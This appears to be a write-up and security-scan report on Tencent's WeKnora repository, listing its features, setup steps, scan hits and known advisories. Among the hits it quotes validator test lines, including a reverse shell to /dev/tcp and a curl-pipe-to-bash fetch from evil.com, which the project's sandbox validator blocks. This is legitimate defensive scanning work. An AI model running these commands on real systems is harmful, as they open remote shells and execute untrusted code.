WeKnora is a knowledge platform from Tencent: upload a team's documents, or sync them from Notion, Confluence, Feishu, GitLab and others, and it parses them into knowledge bases you can question three ways. Quick Q&A answers with retrieval and cites the passages; the agent plans multi-step work with tools, skills and web search; and wiki mode turns the documents into linked pages with a knowledge graph.
It is built for teams and self-hosting: workspaces with roles and audit logs, 29 model vendors including Ollama for local models, swappable vector databases and storage, chat in WeCom, Feishu, Slack or Telegram, a built-in MCP server for other AI tools, and Docker Compose or Helm deployment, plus a lite single binary for small setups.
About 35,500 stars and 324 contributors, MIT-licensed (with some third-party components under their own terms), at v0.8.3 when scanned, with releases every few weeks. It is a large system of several services, the agent can run code in sandboxes and drive your browser through an extension, and the project itself advises keeping it off the public internet.
- Repository: github.com/Tencent/WeKnora
- Licence: custom (Other)
- Language: Go. Stars: 35.5K. Forks: 4,789. Last push: Oct 26, 2026.
- Scan: safe, Oct 26, 2026, commit 97d7f0a
Who it is for
Teams that want a private, self-hosted assistant over their own documents, and developers comparing open RAG platforms such as RAGFlow, Dify and AnythingLLM.
Getting started
1. Get the code
git clone https://github.com/Tencent/WeKnora.git && cd WeKnora2. Create your settings file (edit it as needed)
cp .env.example .env3. Pull and start the core services
docker compose pull && docker compose up -dThen open http://localhost and follow the onboarding. Add --profile flags such as neo4j or minio for the knowledge graph and object storage. For a local model, start Ollama first.
Safety scan
We cloned Tencent/WeKnora at commit 97d7f0a on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The secret hit is a private-key marker in internal/types/memory_test.go, test data. The 3 binaries are EPUB and ODT documents used to test the parser.
- The pattern hits are explained: the api.telegram.org calls are the Telegram chat channel using a bot token you provide; /dev/tcp and the curl | bash strings in internal/sandbox are a validator that blocks those commands, and its tests; scripts/cloud-image/prepare.sh installs Docker via get.docker.com and enables WeKnora's services when building a cloud server image.
- scripts/start_all.sh, an optional helper for running everything locally, uses sudo and offers to install Ollama with its curl | sh script. The Docker Compose path in the quickstart does not need it.
- 322 known advisories, 17 critical. The ones that ship are in docreader/uv.lock (Pillow and certifi), go.mod (an Echo access-control bypass) and frontend/package-lock.json; the website-docs lockfiles and the deprecated Python mcp-server account for much of the rest.
- The agent runs skills in Docker, E2B or Cube sandboxes, where commands run as root since v0.8.2, and can operate your own Chrome or Edge through an extension. 13 workflows, none using pull_request_target; none of 36 third-party actions pinned to a commit. Security policy and Dependabot present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 1 candidate found and read; see the notes above. |
| Suspicious code | 11 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 1 npm lifecycle script. 3 installer scripts (one fetches and runs a remote script; one can call sudo) |
| Committed binaries | 3 executable or compiled objects committed; listed under the raw findings. |
| CI workflows | 13 workflows. None use pull_request_target. 36 of 36 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often api.e2b.app, cdn.example.com, github.com, wails.io. 52 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 322 advisories across 1,572 pinned packages: 17 critical, 134 high, 109 moderate, 25 low, 37 unrated. cli/go.mod: 48 packages, 3 advisories; docreader/uv.lock: 89 packages, 78 advisories; docs/poc/docker-sandbox/go.mod: 20 packages, 1 advisories; frontend/package-lock.json: 456 packages, 64 advisories; go.mod: 347 packages, 64 advisories; mcp-server/uv.lock: 59 packages, 29 advisories; packages/dsh-weknora/package-lock.json: 3 packages, 0 advisories; scripts/wemm-transformers/requirements.txt: 2 packages, 4 advisories; website-docs/homepage/package-lock.json: 434 packages, 49 advisories; website-docs/package-lock.json: 333 packages, 36 advisories. |
| Project hygiene | Has security policy, automated dependency updates, licence file. Missing CodeQL, contributing guide. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (1, redacted)
| Where | Rule | Match |
|---|---|---|
| internal/types/memory_test.go:134 | private-key | -----B…--- (31 chars) |
Pattern hits (11)
| Where | Rule | Match |
|---|---|---|
| docreader/proto/docreader_pb2.py:27 | very-long-line | 3689 chars |
| internal/im/telegram/adapter.go:273 | exfil-host | url := fmt.Sprintf("https://api.telegram.org/bot%s/%s", a.botToken, method) |
| internal/im/telegram/longconn.go:83 | exfil-host | url := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates", c.botToken) |
| internal/sandbox/validator.go:274 | raw-socket-shell | `/dev/tcp/`, |
| internal/sandbox/validator_test.go:34 | download-piped-to-shell | content: `curl http://evil.com/script.sh | bash`, |
| internal/sandbox/validator_test.go:40 | raw-socket-shell | content: `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`, |
| scripts/cloud-image/prepare.sh:73 | download-piped-to-shell | curl -fsSL https://get.docker.com | bash |
| scripts/cloud-image/prepare.sh:76 | persistence | systemctl enable --now docker |
| scripts/cloud-image/prepare.sh:222 | persistence | systemctl enable weknora.service |
| scripts/cloud-image/prepare.sh:223 | persistence | systemctl enable weknora-firstboot.service |
| scripts/start_all.sh:156 | download-piped-to-shell | curl -fsSL https://ollama.com/install.sh | sh |
URLs to bare IP addresses (52)
| Where | Rule | Match |
|---|---|---|
| docreader/parser/doc_parser.py:32 | ip-literal-url | self.proxy = proxy or CONFIG.external_https_proxy or "http://128.0.0.1:1" |
| internal/application/repository/retriever/doris/repository_test.go:311 | ip-literal-url | {"untrusted port", "https://8.8.8.8:8030/load", "https://8.8.8.8:8040/load", ""}, |
| internal/application/repository/retriever/doris/repository_test.go:311 | ip-literal-url | {"untrusted port", "https://8.8.8.8:8030/load", "https://8.8.8.8:8040/load", ""}, |
| internal/application/repository/retriever/doris/repository_test.go:312 | ip-literal-url | {"untrusted host", "https://8.8.8.8/load", "https://1.1.1.1/load", ""}, |
| internal/application/repository/retriever/doris/repository_test.go:312 | ip-literal-url | {"untrusted host", "https://8.8.8.8/load", "https://1.1.1.1/load", ""}, |
| internal/application/service/file/ks3_redirect_test.go:30 | ip-literal-url | elsewhere := httptest.NewRequest(http.MethodGet, "https://93.184.216.34/object", nil) |
| internal/application/service/tenant_sandbox_config_test.go:1044 | ip-literal-url | stored := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app") |
| internal/application/service/tenant_sandbox_config_test.go:1044 | ip-literal-url | stored := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app") |
| internal/application/service/tenant_sandbox_config_test.go:1057 | ip-literal-url | next := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app") |
| internal/application/service/tenant_sandbox_config_test.go:1057 | ip-literal-url | next := cubeCfg("key-a", "https://203.0.113.10", "https://203.0.113.11", "cube.app") |
| internal/application/service/tenant_sandbox_config_test.go:1476 | ip-literal-url | APIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1", |
| internal/application/service/tenant_sandbox_config_test.go:1483 | ip-literal-url | APIURL: "https://203.0.113.10", |
| internal/application/service/tenant_sandbox_config_test.go:1513 | ip-literal-url | APIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1", |
| internal/application/service/tenant_sandbox_config_test.go:1521 | ip-literal-url | APIURL: "https://203.0.113.10", |
| internal/application/service/tenant_sandbox_config_test.go:1540 | ip-literal-url | APIKey: "stored-key", APIURL: "https://203.0.113.10", TemplateID: "t1", |
| internal/application/service/tenant_sandbox_config_test.go:1556 | ip-literal-url | Cube: &types.CubeSandboxConfig{APIURL: "https://203.0.113.10"}, |
| internal/application/service/tenant_sandbox_config_test.go:1592 | ip-literal-url | APIURL: "https://203.0.113.20", DNSServers: []string{"dns.google"}, |
| internal/handler/sandbox_check.go:361 | ip-literal-url | {label: "intl:1.1.1.1", url: "https://1.1.1.1"}, |
| internal/handler/sandbox_check_test.go:49 | ip-literal-url | APIURL: "https://203.0.113.20", ProxyURL: "https://203.0.113.20", |
| internal/handler/sandbox_check_test.go:49 | ip-literal-url | APIURL: "https://203.0.113.20", ProxyURL: "https://203.0.113.20", |
| internal/sandbox/tenant_config_test.go:43 | ip-literal-url | APIURL: "https://203.0.113.20", |
| internal/sandbox/tenant_config_test.go:44 | ip-literal-url | ProxyURL: "https://203.0.113.21", |
| internal/sandbox/tenant_config_test.go:320 | ip-literal-url | APIKey: "cube-key", APIURL: "https://203.0.113.20", |
| internal/sandbox/tenant_config_test.go:321 | ip-literal-url | ProxyURL: "https://203.0.113.21", SandboxDomain: "cube.example", |
| and 28 more | ||
npm lifecycle scripts (1)
packages/dsh-weknora/package.jsonprepare:npm run build
Installer scripts (3)
- docker/scripts/start-desktop.sh, 151 lines
- scripts/install-git-hooks.sh, 33 lines
- scripts/start_all.sh, 789 lines, uses sudo, fetches and runs a remote script; talks to host.docker.internal, ollama.com
Committed binaries (3)
internal/infrastructure/docparser/anydoc/testdata/upstream/epub/book.epub: JAR, 6 KBinternal/infrastructure/docparser/anydoc/testdata/upstream/odt/handmade-math.odt: JAR, 1 KBinternal/infrastructure/docparser/anydoc/testdata/upstream/epub/handmade-math.epub: JAR, 1 KB
Worst known vulnerabilities (24 of 322)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2025.10.5 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-332p-7hrc-92wf | critical | pillow@12.3.0 | Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO |
| GHSA-5x8w-8jj5-q52h | critical | pillow@12.3.0 | Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution |
| GHSA-8g5g-8vmr-9782 | critical | pillow@12.3.0 | Pillow: Heap buffer overflow in ImagingJpegDecode |
| GHSA-v9pv-5gc8-w2m6 | critical | pillow@12.3.0 | Pillow multi-frame loaders can reuse stale native image storage after mode transitions |
| GHSA-w889-685w-c8fh | critical | pillow@12.3.0 | Pillow: Argument Injection in Ghostscript call, potentially leading into RCE |
| GHSA-cg2g-xh64-v4q7 | critical | dompurify@3.4.11 | DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output mo… |
| GHSA-pqg4-j6r4-53mv | critical | shell-quote@1.10.0 | shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token |
| GHSA-cxf3-9h37-7rr8 | critical | github.com/labstack/echo/v4@4.13.3 | Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls |
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2026.7.22 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-ffc3-869f-jxw9 | critical | pyjwt@2.13.0 | PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guar… |
| GHSA-2464-fhr4-w9xw | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used |
| GHSA-2xp9-vwfh-vxw4 | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used |
| GHSA-673q-mjm6-r5xr | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays |
| GHSA-p293-qw3h-jr36 | critical | next@16.2.9 | Next.js: Unauthenticated Remote Code Execution on windows-hosted servers |
| GHSA-vcvr-r3jv-pc5j | critical | next@16.2.9 | Next.js: Remote Code Execution in next/og ImageResponse |
| GHSA-cg2g-xh64-v4q7 | critical | dompurify@3.4.12 | DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output mo… |
| GHSA-g6cj-pr64-35w5 | high | cryptography@49.0.0 | cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing |
| GHSA-4jhm-jv67-739f | high | lxml-html-clean@0.4.4 | `lxml_html_clean.Cleaner` does not strip `javascript:` URLs from namespaced URL attributes |
| GHSA-f83h-ghpp-7wcc | high | pdfminer-six@20250506 | Insecure Deserialization (pickle) in pdfminer.six CMap Loader - Local Privesc |
| GHSA-wf5f-4jwr-ppcp | high | pdfminer-six@20250506 | Arbitrary Code Execution in pdfminer.six via Crafted PDF Input |
| GHSA-22hg-r758-rrw9 | high | pillow@12.3.0 | Pillow: Infinite loop in MIC n_frames when the embedded TIFF |
| GHSA-27h8-gf7j-v5hc | high | pillow@12.3.0 | Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images |
| GHSA-3j72-p6qg-6xp7 | high | pillow@12.3.0 | Pillow: TarIO negative size field causes infinite CPU-spin loop |
By the numbers
| Stars | 35.5K |
|---|---|
| Forks | 4,789 |
| Contributors | 324 |
| Commits | 3,678 |
| Open issues | 419 |
| Open pull requests | 356 |
| Releases | 41 |
| Latest release | v0.8.3 |
| Licence | custom |
| Main language | Go |
| Project age | 1 year |
| Last push | Oct 26, 2026 |
| Tracked files | 5,665 |
| Lines of code | 1.4M |
| Checkout size | 143 MB |
Lines by language: Go 867.3K, Vue 173.7K, TypeScript 134.8K, JSON 57.4K, YAML 37.9K, Markdown 37.5K.
Questions
Is WeKnora free?
Yes. WeKnora is open source under the MIT licence, with some bundled third-party components under their own licences, and free to self-host. Tencent also offers it hosted through the WeChat Dialog Open Platform and as a Tencent Cloud template.
Can WeKnora run with local models?
Yes. Ollama is one of its built-in providers for both chat and embedding models, so documents and questions can stay entirely on your own hardware.
How is WeKnora different from RAGFlow or Dify?
All three do retrieval over your documents. WeKnora leans toward a team knowledge base, with workspaces and roles, many document sync sources, chat-app channels and an automatic wiki, while Dify is more of a general app and workflow builder.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
